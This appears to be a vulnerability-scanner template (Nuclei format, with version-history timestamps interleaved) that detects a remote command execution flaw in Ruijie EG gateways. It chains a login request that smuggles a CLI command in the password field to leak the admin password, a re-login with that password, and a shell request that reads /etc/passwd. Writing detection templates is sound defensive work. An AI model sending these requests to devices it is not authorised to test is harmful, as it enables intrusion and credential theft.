2021-08-06 10:04:32 +00:00
|
|
|
id: ruijie-eg-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Ruijie EG cli.php RCE
|
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
|
|
|
reference: http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
|
|
|
|
vendor: https://www.ruijienetworks.com
|
|
|
|
tags: ruijie,rce
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
2021-08-06 18:00:34 +00:00
|
|
|
- |
|
|
|
|
POST /login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Length: 49
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
|
|
|
|
username=admin&password=admin?show+webmaster+user
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Length: 49
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
|
|
|
|
username=admin&password={{admin}}
|
|
|
|
|
2021-08-06 10:04:32 +00:00
|
|
|
- |
|
|
|
|
POST /cli.php?a=shell HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
|
|
|
Content-Length: 111
|
|
|
|
|
|
|
|
notdelay=true&command=cat /etc/passwd
|
|
|
|
|
2021-08-06 18:00:34 +00:00
|
|
|
cookie-reuse: true
|
2021-08-06 10:04:32 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0"
|
2021-08-06 18:00:34 +00:00
|
|
|
- "nobody:.*:0:0"
|
2021-08-06 10:04:32 +00:00
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2021-08-06 18:00:34 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: admin
|
|
|
|
group: 1
|
|
|
|
internal: true
|
|
|
|
regex:
|
|
|
|
- 'admin ([a-zA-Z0-9#@]+)",'
|